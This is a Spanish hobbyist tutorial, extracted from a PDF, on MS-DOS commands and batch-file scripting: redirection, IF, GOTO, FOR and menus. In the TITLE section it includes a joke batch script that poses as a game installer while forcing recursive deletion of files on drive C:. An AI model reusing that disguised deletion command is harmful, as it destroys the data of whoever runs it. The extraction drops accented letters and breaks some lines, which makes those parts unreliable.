Está en la página 1de 38

APRENDE A CREAR UN

ARCHIVO BATCH, EN 10 PASOS


Creado por Nost <nost@vodafone.es>
Edicin y versin PDF por FranRG96

HACK HiSPANO

INTRODUCCIN
El nivel del texto es bajo-medio, pero tendras que saber al menos "algo" del MS-DOS para poder
"avanzar" en este texto.
Sufr un pequeo problema con el texto, por lo que quizs falte algn que otro punto. Me
explico: puede que algunas frases queden as Como has visto, falta un punto al final de la frase
:) De todas formas, me he preocupado especialmente de que no falten puntos en los cdigos.
Otra cosa: no hay ningn acento o ee en el texto (Nota: Corregido en esta versin). Es por
motivos de compatibilidad. Quizs mi UTF8 se os atraviese. Tambin me he preocupado de no
excederme de las 79 columnas. Espero que estas precauciones funcionen.
Este artculo se supone que debe ser publicado por SET. Me lincharan si ven que lo he publicado
en otro sitio... o no.
No os asustis por el tamao del texto, ms de la mitad son ejemplos, listados creados por los
propios programas, refritos de otros documentos, etc. De todas formas, os aviso: yo cuando
escribo un texto puedo llegar a ser *extremadamente* pesado. Fjate si el texto es un tostn,
que no me lo he ledo ni yo, que ya es decir :D
Este articulo tiene grandes dosis de humor espaol y andaluz, as que si te cuesta trabajo
entender algn concepto, contact me, contact me... Cmo que "que"? Que me contactes
cojones, es que nadie sabe ingles aqu o qu?

NDICE
1) NOCIONES BSICAS SOBRE EL MS-DOS
a) Comandos principales del DOS
DIR
CD o CHDIR
ECHO
COPY
MOVE
DEL
REN
MD
RD
EXIT
SET
ATTRIB
LABEL
TITLE
TREE
MAKECAB
EXPAND
MORE
2) PROGRAMACION DE ARCHIVOS BATCH
a) Un echo sencillo
b) Los argumentos
c) Redireccin simple
d) Alias
e) Ms redireccin
Redireccionador >
Redireccionador >>
Redireccionador <
Redirecionador |
f) Comando IF
IF EXIST Archivo comando
IF NOT EXIST Archivo comando
IF [NOT] %1=Parmetro comando
IF [NOT] Variable=Valor comando
IF [NOT] ERRORLEVEL Nmero comando
Estructuras IF
g) Etiquetas y GOTO
h) Lo importante es poder elegir
i) Comando FOR
j) Otras rdenes
REM y los comentarios
START

3) EJEMPLOS
a) Ejemplo 1
b) Ejemplo 2
c) Ejemplo 3
d) Ejemplo 4
4) APNDICE
a) TIPS de cmo usar el intrprete de comandos y el batching
b) ARCHIVOS EXTRAOS que nadie debera conocer
CON
NUL
LPTx
COMx
AUX
PRN
c) CARACTERES EXTRAOS que hacen cosas raras
d) FUNCIONES INDOCUMENTADAS DEL DOS, o las cosas que no debieron salir de Microsoft.
TRUENAME (NO funciona en NT)
COMMAND IF (no estoy seguro si funciona en NT supongo que s)
VER /R (NO funciona en NT)
FORMAT AUTOTEST (NO funciona en NT))
FORMAT /U (S funciona en NT, segn lo que entiendan por funcionar)
FORMAT /Z (NO funciona en NT, ya hay otra funcin documentada)
DIR, (NO funciona en NT)
DEL. (SIIIIII funciona en NT)
5) NOTA SENTIMENTAL
Estaris de acuerdo conmigo en que el diseo del ndice es una mierda, verdad?

1) NOCIONES BSICAS SOBRE EL MS-DOS


Bueno, antes de empezar con la "chicha" del artculo, tendremos que hablar del MS-DOS,
inevitablemente. Si no lo conoces a l o a su funcionamiento, poco podrs programar. Si ya
conoces el MS-DOS, sltate esta seccin, porque realmente no aprenders nada nuevo.
Espero que comprendas que para abrir un intrprete de comandos, debes pulsar para Windows
9x (95, 98, Me):
Inicio > Ejecutar... > command.com
Y para la familia NT (NT, 2k, XP, 2k3):
Inicio > Ejecutar... > cmd.exe

a) Comandos principales del DOS


Para introducir estos comandos, hay que escribir el comando y luego pulsar Enter. Para obtener
ayuda, hay que escribir "nombredelcomando /?", sin las comillas, evidentemente.

DIR
Genera una lista con los archivos de la carpeta. Ejemplo:
Z:\>dir
El volumen de la unidad Z es Nost
El nmero de serie del volumen es: 8408-2412
Directorio de Z:\
28/10/2006 15:35 <DIR>
28/10/2006 15:35 <DIR>
21/10/2006 20:56
5.253.290 Actualizado.txt
24/10/2006 15:49 <DIR> Archivos de programa
28/10/2006 14:59
597 Creacin de archivos Batch.txt
14/10/2006 23:22 <DIR> deCFS
15/10/2006 00:54 <DIR> Discos
14/10/2006 23:25 <DIR> Documentos
15/10/2006 14:51 <DIR> Documentos sueltos
15/10/2006 11:47 <DIR> Haxor
22/10/2006 01:19 <DIR> Imgenes de CD
20/10/2006 00:38 <DIR> Imgenes sueltas
22/10/2006 02:22 <DIR> Instaladores
28/10/2006 14:37
24 irs.txt
22/10/2006 08:08 <DIR> Juegos
23/10/2006 17:12 <DIR> Mi msica
25/10/2006 20:22 <DIR> Mviles
14/10/2006 23:28 <DIR> Msica suelta
21/10/2006 10:01 <DIR> Partidas guardadas

27/10/2006 15:05
26/10/2006 17:06
23/10/2006 23:13
22/10/2006 22:25
15/10/2006 12:22
6 archivos
20 dirs

<DIR> Programas sueltos


<DIR> SET
<DIR> Temporales
12.739 Visual Hacker 98.txt
<DIR> Videos
5.268.505 bytes
804.700.160 bytes libres

CD o CHDIR
Cambia el directorio actual, es decir, con el que estamos trabajando. Su funcionamiento es: cd
nombre del directorio. Ejemplo:
Z:\>cd Imgenes de CD
Z:\Imgenes de CD>
Para comprobar si lo hemos hecho bien, siempre nos quedara DIR ;)
Z:\Imagenes de CD>dir
El volumen de la unidad Z es Nost
El nmero de serie del volumen es: 8408-2412
Directorio de Z:\Imgenes de CD
22/10/2006 01:19 <DIR>
22/10/2006 01:19 <DIR>
10/09/2006 22:29
788.886.672 CT3.mdf
10/09/2006 22:29
2.850 CT3.mds
12/09/2004 23:55
1.618.176 Sims2.MDF
12/09/2004 23:55
486 Sims2.MDS
4 archivos
790.508.184 bytes
2 dirs
805.019.648 bytes libres
Perfecto!

ECHO
Muestra un texto en la pantalla. Funcionamiento: echo texto a mostrar. Ejemplo:
Z:\Imagenes de CD>echo Esto es una prueba
Esto es una prueba
Otra forma es ECHO OFF, esto hace que los comandos que se van ejecutando de un archivo
batch, no se muestren en pantalla. Para usarlo, hay que ponerlo como primera lnea del archivo,
o por lo menos, desde el momento en el que quieres que dejen de verse los comandos.
ECHO ON har que vuelvan a aparecer los comandos que se ejecutan.
Si lo que se quiere es que un comando puntual no se muestre, se aade @ al principio:
@copy archivo1 archivo2

Por lo tanto, es recomendable en vez de poner ECHO OFF, poner @ECHO OFF. La mayora de
los batch empiezan con esa lnea.
Mucha gente hace la misma pregunta: cmo poner una lnea en blanco? Hay varias maneras
de hacer esto. La principal es:
echo.
Pero hay ms:
echo,
echo:
echo;
echo[
echo]
echo(
echo)
echo/
Aun as hay muchos ms, aunque creo que con te aprendas una de ellas...
COPY
Copia un archivo. Funcionamiento: copy archivodeorigen.ext archivodedestino.ext.
Recuerda: si el archivo contiene espacios, entrecomilla los nombres.
copy "Archivo de origen.extension de archivo" "Archivo de destino.idem"

MOVE
Mueve un archivo. Funcionamiento: move archivodeorigen.ext archivodedestino.ext.
Realmente el funcionamiento de este comando es equivalente copiar el archivo en la nueva
ubicacin, y luego eliminar el anterior.

DEL
Elimina un archivo. Funcionamiento: del nombredearchivo.ext.

REN
Renombra un archivo. Funcionamiento: ren nombreoriginal.ext nombrecambiado.ext.

MD
Crea una carpeta. Funcionamiento: md nombredecarpeta.

RD
Elimina una carpeta. Funcionamiento: rd nombredecarpeta.

EXIT
Sale del programa. Funcionamiento: exit va solo, sin argumentos. Hace que el archivo batch
acabe, aunque haya ms comandos despus. Tambin acepta un argumento muy importante:
exit /b
Si lo usas, la ventana MS-DOS slo se cerrara si invocaste el archivo batch desde el explorador
de Windows. Si lo llamaste desde cmd.exe, la ventana no se cerrara, lo que es una ventaja.
Espero haberme explicado bien.

SET
Maravillosa E-Zine, y comando que establece y muestra las variables de entorno.
Funcionamiento: para ver las variables a las que ya se les ha dado un valor, escribe SET sin
parmetros:
C:\>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\Administrador\Application Data
CLASSPATH="o\QTJava.zip"
CLIENTNAME=ConsoleCommonProgramFiles=Z:\Archivos de programa\Archivos comunes
COMPUTERNAME=NOSTComSpec=C:\WINNT\system32\cmd.exe
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\Administrador
LOGONSERVER=\\NOST
NUMBER_OF_PROCESSORS=1
OS=Windows NT
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem;C:\Archivos
programa\ATI Technologies\ATI Control Panel
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.TXT;.CAB
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 2, AuthenticAMD
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0602
programfiles=C:\Archivos de programa
PROMPT=$P$G
QTJAVA="o\QTJava.zip"
root=c:\
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\DOCUME~2\ADMINI~1\CONFIG~1\Temp
TMP=C:\DOCUME~2\ADMINI~1\CONFIG~1\Temp
USERDOMAIN=NOST
USERNAME=Administrador
USERPROFILE=C:\Documents and Settings\Administrador
windir=C:\WINNT

de

Si solo quieres ver el contenido de una variable, se escribe sola, despus de set:
C:\>set PROCESSOR_IDENTIFIER
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 2, AuthenticAMD
Si lo que quieres es modificar una variable de entorno, o crear una nueva, se usa as: set
variable=valor. Pongamos un ejemplo:
C:\>set variable=valor
No me lo he currado mucho :) ahora ponemos set, y vemos el resultado:
C:\>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\Administrador\Datos de programa
...me lo salto...
USERPROFILE=C:\Documents and Settings\Administrador
variable=valor <<< AQU TENEMOS LA NUESTRA!!! :D
windir=C:\WINDOWS
Aunque la variable "variable" ha sido la ltima en aadirse, est ordenado alfabticamente, as
que se queda la penltima.

ATTRIB
Cambia los atributos de un archivo o directorio. Funcionamiento: para ver los atributos de todos
los archivos de la carpeta actual, se pone ATTRIB sin atributos:
Z:\>attrib
A
A
A
SH
A
R
A
A

Z:\Actualizado.txt
Z:\Creacion de archivos Batch.txt
Z:\Desktop.ini
Z:\Common.pswd
Z:\Satisfucktion.ymx
Z:\Visual Hacker 98.txt

A: El archivo est listo para archivar, es complicado? Si se hace una copia de seguridad, el
atributo se quita de todos los archivos copiados. En cuanto se modifican, se vuelve a establecer
este atributo, indicando que en la prxima copia se tiene que actualizar el archivo, ya que ha
cambiado. Nombre completo: Archive (Archivar).
S: El archivo es de sistema. La mayora de los archivos con ese atributo son necesarios para
Windows. En este caso Desktop.ini establece el icono de la carpeta. Nombre completo: System
(Sistema).
H: El archivo est oculto. Estos archivos no se ven con un simple dir, y Windows los oculta de
forma predeterminada. Para cambiar esto, hay que ir a Herramientas > Opciones de Carpeta >

Ver > Mostrar todos los archivos y carpetas ocultos (Si usas W9x, en vez del Men >
Herramientas, es el Men > Ver). Nombre completo: Hidden (Oculto).
R: El archivo es de solo lectura, aunque eso no impedir que se cambie el contenido,
simplemente se ponen ms impedimentos. Nombre completo: Read-Only (Solo lectura).
Para cambiar un atributo: attrib archivo +atributoaa~adir atributoaquitar. Ejemplo:
Z:\>attrib Desktop ini +R -S -H
Los atributos ya se han cambiado, si pones attrib veras el resultado:
Z:\>attrib
A
R

Z:\Desktop.ini

Para devolverlo a su estado original:


Z:\>attrib Desktop ini -R +S +H
Como puedes ver, se pueden cambiar varios atributos a la vez.

LABEL
Cambia la etiqueta de volumen de un disco. Funcionamiento: escribe label sin parmetros para
conocer la etiqueta y tener la opcin de cambiarla:
C:\>label
El volumen de la unidad Z: es Nost
El nmero de serie del volumen es 8408-2412
Escriba una etiqueta de volumen (Entrar para ninguna)
Si le metes un argumento, este ser la nueva etiqueta de volumen de la unidad actual:
C:\>label Chpame el huevo izquierdo
Recuerda que solo NTFS admite ms de 11 letras en la etiqueta.

TITLE
Cambia el ttulo de la ventana MS-DOS. Funcionamiento: title ttulo de la ventana. Por ejemplo:
@echo off
title Programa al que *NUNCA* se le ocurrira borrar tus archivos y carpetas
c: echo Espera mientras el InstallShield te instala un juego para mear y no echar gota del * /f /s
/q
exit
Espero no tener que avisar que ejecutar ese programa podra daar seriamente la integridad de
tus ficheros.

TREE
Muestra el rbol de directorios. Funcionamiento: tree sin parmetros, muestra todo lo que haya
dentro de la carpeta donde ests y todas las subcarpetas:
Z:\SET>tree
Listado de rutas de carpetas para el volumen Nost
El nmero de serie del volumen es 71F4E346 8408:2412
Z:
+---set
+---saquea1
+---saquea10
+---saquea11
+---saquea2
+---saquea3
+---saquea4
+---saquea5
+---saquea6
+---saquea7
+---saquea8
+---saquea9
+---saq con
+---set12
+---set13
+---set14
+---set15
+---set16
+---set17
+---SET17
+---set17
+---set17
+---set18
+---WINNT
+---Profiles
+---Administrator
+---Desktop
+---set18
+---set19
+---set19
+---set19
+---freecad
+---ejemplos
+---cadenas
+---pavcl
+---scan
+---tbscan
+---files

+---iconos
+---psx
+---scards
+---set20
+---set20
+---cabina
+---set21
+---sch
+---set22
+---digital
+---set23
+---set24
+---set25
+---set26
+---set27
+---set28
+---set29
+---set30
+---set31
+---set32
+---set33
TREE /f es un argumento para que TREE te muestre los archivos:
Z:\SET>tree /f
Listado de rutas de carpetas para el volumen Nost
El nmero de serie del volumen es 71F4E346 8408:2412
Z:
set[1].7z.001
set[1].7z.002
set[1].7z.003
+---set
+---saquea1
SAQUEA1 TXT
+---saquea10
FREQS TXT
SAQ10 TXT
+---saquea11
SAQUEA11 TXT
+---saquea2
SAQUEA2 TXT
+---saquea3
SAQ3 TXT
+---saquea4
FILE ID DIZ
SAQUEA4 TXT

+---saquea5
SAQUEA5 TXT
...pedazo listado que me salto para no hacerlo pesado...
+---set32
0x00 txt
0x01 txt
0x02 txt
0x03 txt
0x04 txt
0x05 txt
0x06 txt
0x07 txt
0x08 txt
0x09 txt
0x0A txt
0x0B txt
0x0C txt
0x0D txt
0x0E txt
0x0F txt
0x10 txt
0x11 txt
+---set33
0x00 txt
0X01 TXT
0X02 TXT
0X03 TXT
0X04 TXT
0X05 TXT
0X06 TXT
0X07 TXT
0X08 TXT
0X09 TXT
0X0A TXT
0X0B TXT
0X0C TXT
0X0D TXT
0X0E TXT
0X0F TXT
Este comando puede llegar a ser muy interesante...

MAKECAB
Comprime uno o varios archivos, al formato Microsoft Cabinet (.cab). Funcionamiento: makecab
archivoacomprimir archivocomprimido.

Imagina que hemos mirado con un dir que hay un archivo... lo digo porque tiene que existir.
Bueno, pues, para comprimirlo:
Z:\>makecab "Visual Hacker 98.txt" "Visual Hacker 98.cab"
Microsoft (R) Cabinet Maker - Version 5.1.260.90
Copyright (c) Microsoft Corporation. All rights reserved.
100.00% [flushing current folder]
Z:\>
Tres observaciones:
1: El nombre de archivo comprimido puede ser el que quieras, puedes poner la extensin que
te d la gana.
2: Como con todos los comandos del MS-DOS, si el archivo incluye espacios, se ha de poner
entre comillas.
3: Si no quieres leer todo ese rollazo del copyright, incluye detrs del comando el parmetro
>nul
Z:\>makecab "Visual Hacker 98.txt" "Visual Hacker 98.cab" >nul
Z:\>
Miremos el nuevo tamao del archivo:
29/10/2006 23:19
22/10/2006 21:25

5.605 Visual Hacker 98.cab


12.739 Visual Hacker 98.txt

Hombre, realmente este sistema de compresin no es "la leshe", pero como apao va bien. La
compresin en textos es perfecta... pero no tanto en otros tipos de archivo.
29/10/2006 23:24

5.466 Visual Hacker 98.7z

Realmente, no es tanta diferencia. Puse el 7z en Ultra as que para textos el cab es bueno,
despus de todo.

EXPAND
Bueno, pues aqu est el "hermano" del makecab, el expand. Funcionamiento: expand
nombrearchivocomprimido nuevoarchivodescomprimido. Por ejemplo:
expand "Visual Hacker 98.cab" "Visual Hacker 98-2.txt"
He cambiado el nombre para no tener que sobrescribir el archivo anterior. Si todo ha ido bien,
tiene que haberse descomprimido con el nuevo nombre.

MORE
Con este programa y una buena redireccin, todo funciona sin montar un folln. Por ejemplo,
en un directorio muy grande un dir puede ser infernal. Sin embargo:
dir more

Sacar la informacin por pantallas. Tambin lo puedes usar para archivos:


more < archivo
Ms informacin sobre esos extraos operadores de redireccin, dentro del propio texto.
Creo que con este listado ya es ms que suficiente. Ya hay comandos de sobra para empezar,
pero si quieres ms (ms, ms, MSSS) siempre te queda el comando HELP. Por cierto, hay ms
explicaciones de comandos en los apndices.

2) PROGRAMACIN DE ARCHIVOS BATCH


Bueno, empecemos. Recuerda que los archivos batch (o archivos por lotes, pero prefiero lo de
archivos batch) son archivos que contienen comandos ejecutables separados por un salto de
lnea. Sencillo. Evidentemente, esos programas deben existir en tu ordenador. Si los escribes
bien, podrs realizar tareas complejas sin necesidad de tener que escribir todos los comandos
uno a uno. Sencillo.
Puedes usar cualquier programa editor de texto para realizar un archivo batch, pero recuerda
que deben ser codificados como texto plano, as que te recomiendo el Bloc de Notas.
Comencemos a programar algo sencillo. Aunque a veces hablare de los batch como programas,
realmente no lo son, los batch necesitan un programa que ejecutar, y como mnimo un
intrprete de comandos (lase: cmd.exe o command.com, aunque hay intrpretes de terceros
de los que no hablaremos.

a) Un echo sencillo
El primer batch, ser fcil y rpido. Consistir en un programa que te dir "Hola". Es muy original.
Abre el Bloc de Notas, y escribe:
echo Hola
Pulsa Archivo, y luego Guardar. En "Tipo de archivo" selecciona "todos los archivos" y en nombre
de archivo pon "%systemroot%\system32\hola.bat".
Entra en el smbolo de sistema, y escribe hola. Recibirs esta respuesta, si lo has hecho bien:
C:\Documents and Settings\Administrador>hola
C:\Documents and Settings\Administrador>echo Hola
Hola
Perfecto!

b) Los argumentos
Vamos a personalizar el programa. Todava no habrs cerrado el Bloc de Notas, verdad????
jejeje... recuerda dnde lo guardaste. Vuelve a abrirlo, y cambia lo que tienes por:
echo Buenos das, %1!
Guarda, y ejecuta el programa escribiendo:
hola Takeshi
El programa te responder:
C:\Documents and Settings\Administrador>hola Takeshi
C:\Documents and Settings\Administrador>echo Buenos das, Takeshi!
Buenos das, Takeshi!
Asombroso! Hemos avanzado un poco en los argumentos, pero no lo suficiente. Crea un
archivo batch, como lo hemos hecho antes, pero ahora con el nombre
"%systemroot%\system32\argumnts.bat" con las siguientes lneas:
@echo off
echo EN ORDEN: %1 %2 %3 %4
echo INVERTIDOS: %4 %3 %2 %1
echo MEZCLADOS: %2 %1 %4 %3
Gurdalo, y en el smbolo del sistema, escribe:
argumnts hola windoze juan perro
Y responde:
C:\Documents and Settings\Administrador>argumnts hola windoze juan perro
EN ORDEN: hola windoze juan perro
INVERTIDOS: perro juan windoze hola
MEZCLADOS: windoze hola perro juan
Impresionante!

c) Redireccin simple
Recuerdas el comando dir? Con este programa puedes saber los archivos de un directorio.
Pero, qu pasa si quieres, de una forma rpida, obtener una lista de archivos en un archivo?
Escribe en el smbolo:
dir > c:\salida.txt

Aparentemente no ha ocurrido nada, pero, si entras en Mi PC, luego en "Disco local (C:)" y abres
el nuevo archivo "lista.txt", aqu tienes el contenido:
El volumen de la unidad C es Nost
El nmero de serie del volumen es: 8408-2412
Directorio de C:\Documents and Settings\Administrador
28/10/2006 17:00 <DIR>
28/10/2006 17:00 <DIR>
14/10/2006 15:10
240.642 .fonts cache-1
26/10/2006 18:35 <DIR> .gimp-2.0
14/10/2006 15:16 <DIR> .thumbnails
24/09/2006 19:58 <DIR> CFS
15/10/2006 16:14 <DIR> Configuracin local
26/10/2006 07:33 <DIR> Escritorio
22/10/2006 03:33 <DIR> Favoritos
22/10/2006 07:39 <DIR> Men Inicio
26/10/2006 16:06 <DIR> Mis documentos
18/09/2006 09:57 <DIR> WINDOWS
7 archivos
248.130 bytes
11 dirs
803.950.592 bytes libres
No queras una lista? Aqu la tienes. Bueno, eso sirve para todos los comandos que muestran
una salida por pantalla. Tambin puedes aadir un archivo a otro. Escribe:
copy /? >> c:\salida.txt
Cierra el archivo, y vuelve a abrirlo. El archivo ha cambiado.
Copia uno o ms archivos en otra ubicacin ;)
COPY [/V] [/N] [/Y a /-Y] [/Z] [/A a /B ] origen [/A a /B]
[+ origen [/A a /B] [+nost]] [destino [/A a /B]]
Origen: Especifica el archivo o archivos que deben copiarse (UNA PEXA DE AYUDA QUE ME
SALTO) varios archivos de origen (usando caracteres comodines o el formato archi...
Bien, hemos aprendido algo ms.

d) Alias
Alias, esa gran serie de Cuatro, tambin nos puede ayudar usando el smbolo del sistema.
Cuando escribes:
notepad salida.txt
Conseguirs abrir con el bloc de notas el famoso archivo que acabbamos de crear.

Pero si quieres hacer la tarea ms sencilla (ms sencillo que eso... :?) puedes hacer un archivo
"c:\windows\system32\np.bat" con las lneas:
@echo off
notepad %1
Eso hace que el bloc de notas (notepad, es su nombre de aplicacin) abra el archivo que se le
ha pasado como argumento (%1) Porque recuerdas los argumentos, no?
Ahora, en vez de escribir notepad nombredearchivo para abrirlo, necesitaras escribir solo:
np nombredearchivo
Extraordinario!

e) Ms redireccin
Aunque de los dos primeros redireccionadores ya hemos hablado, hagmoslo de nuevo... (sois
unos mal pensados).

Redireccionador >
Primero, explicar que es la salida de un programa... si escribes "dir" en la consola, te sacara una
lista de archivos. Y si escribes "help", te mostrara una lista de programas ejecutables desde el
smbolo del sistema.
En todo caso, los dos textos que salen al ejecutar un programa son lo que se llama "salida de un
programa".
Si quieres que la salida de un programa se escriba a un fichero, > es tu operador. Y se usa as:
comando > fichero
Por ejemplo, si quieres un listado de archivos de la carpeta actual en el archivo "lista.txt",
escribe:
dir > lista.txt
Y ah lo tienes.
Si el archivo de salida ya exista, ser sobrescrito.
Redireccionador >>
Este redireccionador es exactamente igual que el >, pero en el caso de que el archivo de salida
ya exista, no lo borra, sino que la salida se aade al final de dicho fichero. Y ya s que no me he
explicado bien.

Redireccionador <
Este redireccionador la verdad es que no tengo ni puta idea de cmo se usa, pero intentare
explicarlo.
Se supone que si el redireccionador > manda la salida de un programa a un fichero, el
redireccionador < manda un fichero a un programa. Yo tampoco lo entiendo.
El nico programa que yo conozco que sea compatible con este redireccionador es "debug", un
programa que era muy til pero ya no lo es tanto, solo para emergencias :( Pasate por ese
programa si quieres, yo tampoco se usarlo.
Ah, y "more", tambin es compatible.
Redireccionador |
Bueno, este si es til. Este hace que un programa se encargue de la salida de otro programa.
Vers:
programa1 | programa2
...es equivalente a...
programa1 > archivo
programa2 < archivo
Esto es especialmente til con el comando more, explicado ms arriba.

f) Comando IF
Vamos por algo mas complicado... el comando if verifica una condicin, si se cumple ejecuta un
comando, y si no, ejecuta otro.

IF EXIST archivo comando


Recuerdas el programa de antes? Aadir esta lnea:
IF EXIST info.txt DEL info.txt
Es muy interesante, si no quieres que se acaben apelotonando los datos, y que el archivo acabe
ocupando medio disco duro.

IF NOT EXIST archivo comando


Ejemplo:
IF NOT EXIST info.txt EXIT
Con esta lnea, si no existe info.txt se acabara el proceso por lotes. Esto puede ser til si la lnea
siguiente incluye, por ejemplo:

notepad info txt


copy info.txt a:\
ren info.txt info01.txt

// Abrir info.txt con el Bloc de Notas


// Copiar archivo info.txt a el diskette a:
// Renombrar info.txt a info01.txt

Si vas a crear un batch a partir de esto, CORTA LA LINEA A PARTIR DEL "//"!

IF [NOT] %1=parmetro comando


Esto sirve para comprobar si un parmetro es igual a un valor, y as poder ejecutar un comando
en consecuencia. Evidentemente, se pueden poner varios parmetros (%2, %3... recuerda lo
aprendido en el paso 2).
Ejemplo:
if %1==quake "C:\archivos de programa\quake iii arena\quake3.exe"
if %1==bloc notepad.exe
if %1==calculadora calc.exe

IF [NOT] variable=valor comando


Con esto se confirma una variable de entorno.
Ejemplo:
if %OS%==Windows NT echo El sistema operativo es NT
Recuerda que tambin se puede usar el comando IF NOT:
if %OS%==Windows NT setupNT.exe
if not %OS%==Windows NT setup9x.exe

//Si es NT, ejecutar setupNT.exe


//Y si no es NT, ejecutar setup9x.exe

Este comando es realmente interesante y til.

IF [NOT] ERRORLEVEL nmero comando


Esto evala el ltimo errorlevel presente. Los errorlevel son nmeros generados por los
programas que informan cmo han terminado su ejecucin. Por ejemplo, el comando format
(que sirve para formatear una unidad de disco, como su nombre indica) devuelve el cdigo
errorlevel 3 cuando se ha finalizado pulsando Ctrl-C, y el errorlevel 0 cuando acaba
normalmente. No todos los programas devuelven un errorlevel, y los errorlevel se borran
cuando se ejecuta otro programa.

Estructuras IF
Bueno, el titulo no ensea muy bien lo que es.
if exist info.txt (
del info txt
echo Archivo eliminado

) else if exist informe.txt (


del informe txt
echo Archivo eliminado
) else (
echo No exista el archivo
)
Si alguna vez tuviste que programar en C, seguro que te suena lo de los parntesis... pero con
corchetes {}. Creo que las estructuras if son ms sencillas, sobre todo en caso de que necesites
varias comprobaciones IF. Espero no tener que avisar que se pueden poner varios tipos de IF a
la vez, EXIST, VARIABLE y ERRORLEVEL. Ah! y al igual que en los C, se puede poner una
estructura IF dentro de otra. Esto funcionaria:
if exist info.txt (
del info.txt
if exist info2.txt (
del info2.txt
echo Archivo no. 2 eliminado
) else if exist informe2.txt (
del informe2.txt
echo Archivo informe no. 2 eliminado
) else (
echo No exista el archivo 2
)
echo Archivo eliminado
) else if exist informe.txt (
del informe.txt
echo Archivo eliminado
) else (
echo No exista el archivo
)

g) Etiquetas y GOTO
Las etiquetas se usan para identificar una lnea del archivo batch. Una etiqueta es muy fcil de
colocar:
:etiqueta
Para saltar a una etiqueta, se usa GOTO:
goto etiqueta
Y ya est:
REM Si el archivo ya existe, ir a "error".
if exist a:\copia goto error

REM Si no existe, no se ha saltado de posicin, as que la copia continua.


copy c:\copia a:\copia
REM Una vez concluida la copia, ir a la etiqueta FIN. Si eso no se hiciera, el mensaje "El archivo
ya existe" se mostrara incluso en el caso de que todo fuera bien.
goto fin
REM Etiqueta que delimita el mensaje de error.
:error
REM El susodicho mensaje de error.
echo El archivo ya existe!
REM Etiqueta que delimita el final del archivo.
:fin
REM Fin del programa.
exit

h) Lo importante es poder elegir


Alguna vez has visto uno de esos mens en modo texto tan (poco) intuitivos? Ahora, con el
Visual Batcher 2007 puedes hacer uno! ;D Gracias al tremendo ingenio de la gran compaa de
nuestro amigo Billy, en Windows NT ya no disfrutamos del comando choice. Este comando
realmente simplificaba la tarea de hacer mens de eleccin. Las lneas que empiezan por rem,
son los comentarios.
@echo off
rem Hace los comandos invisibles, as es ms intuitivo.
:menu
rem Especifica una etiqueta al principio, ahora veras para que sirve.
echo.
rem Lnea en blanco, lo siguiente es el men. No comentado.
echo MENU
echo 1) Abrir el WordPad
echo 2) Abrir el Bloc de Notas
echo 3) Abrir la Calculadora
echo.
echo S) Salir
echo.
set eleccion=
rem Crea una variable "eleccin" vaca, aunque creo que es innecesario :(
set /p eleccin=Haz tu eleccin:
rem MUY IMPORTANTE: Para que no se junten la pregunta y la respuesta, pon un espacio al final
de esta ltima pregunta. Aunque no se vea, es til. Pide la eleccin.
if "%eleccion%" == "1" write
if "%eleccion%" == "2" notepad
if "%eleccion%" == "3" calc
rem Hace la eleccin.
if /I "%eleccion%" == "s" goto end
rem Si se elige s, se va a la ltima etiqueta.
goto :menu

rem Si no se elige ninguna opcin, no se saltara de etiqueta ni se saldr del programa, por lo que
volver al principio del archivo.
:end
rem Fin
Por el pblico se escucha un QUEEEEEEEEEEEE generalizado, lo siento, no s explicarlo mejor.

i) Comando FOR
For, faib... Qu pasa, familia!
Grftjx... Creo que tendr que doblar la dosis de Prozac. Bueno, a lo que bamos: ahora vamos a
ver el comando for. El comando for no suele ser realmente el ms usado, pero a veces es justo
lo que necesitas. El comando for hace que una variable cambie su valor entre las posibilidades
que t le des, y ejecuta un comando cada vez que el valor cambie. Confundido, eh? Jeje... Su
sintaxis es:
FOR %%A IN (lista de valores) DO comando
Donde %%A es el nombre de la variable. (Lista de valores) simplemente es la lista de valores
entre los cuales la variable %%A cambiar. Los diferentes valores se separan con un espacio en
blanco.
IMPORTANTE: Las variables de FOR no son equivalentes a las variables de entorno. Una vez que
acabe el comando FOR, las variables se perdern.
Veamos un ejemplo:
FOR %%B IN (Buenos Das Hacker) DO ECHO %%B
Esto har que la variable %B cambie su valor. La primera vez ser Buenos, la segunda vez ser
Das y la tercera, Hacker. Cada vez que %B cambia, el comando despus de la palabra DO (ECHO
%B en el ejemplo) se ejecuta. As que esta lnea de cdigo escribir en nuestra pantalla:
Buenos
Das
Hacker
Siempre y cuando y hayas puesto el respectivo "@echo off" al inicio.
Hay algo ms importante para lo que puede servir for:
FOR %%A in (*2006 txt) DO copy %%A c:\backup
Esto te servir para copiar los siguientes archivos a c:\backup:
13-14-2006.txt

Ventas 2006.txt
Tareas a realizar en el 2006.txt
Personas a las que denegu la admisin en el 2006.txt
O algo as.
Pensaras que escribir:
copy *2006.txt
Sera exactamente lo mismo, bueno... no te equivocas. Sin embargo, te servir para programas
que no aceptan comodn, como expand, que descomprime archivos cabinet.
********ATENCIN: NINONINONINONINONINONI!!!!!!!!!!********
Tonteras aparte, como he explicado antes, el nombre de variable es %%A, %%B, %%C... pero si
vas a escribir el comando en el smbolo del sistema, quiero decir, no lo vas a incluir en un archivo
batch, tienes que poner un solo smbolo de porcentaje (%):
FOR %A IN (lista de valores) DO comando
Hombre, se me olvida que esto es un curso de batching ;P

j) Otras rdenes
REM y los comentarios
Para comentar una lnea completa, podras usar REM al principio, como en el ejemplo del
apartado 2H. Tambin podras hacer esto:
: comentario
Parece que habiendo hecho esto, lo que consigues es aadir una etiqueta. Pues te equivocas,
porque el MS-DOS, al ver que a los dos puntos le sigue un espacio, interpreta que la etiqueta no
es vlida.
goto comentario
goto comentario
Si esos dos comandos fueran distintos, :comentario y : comentario serian diferentes, pero
recuerda que el MS-DOS piensa que las siguientes lneas son iguales:
copy c:\archivo.txt a:\
copy c:\archivo.txt a:\
copy c:\archivo.txt a:\
copy c:\archivo.txt a:\
copy
c:\archivo.txt

a:\
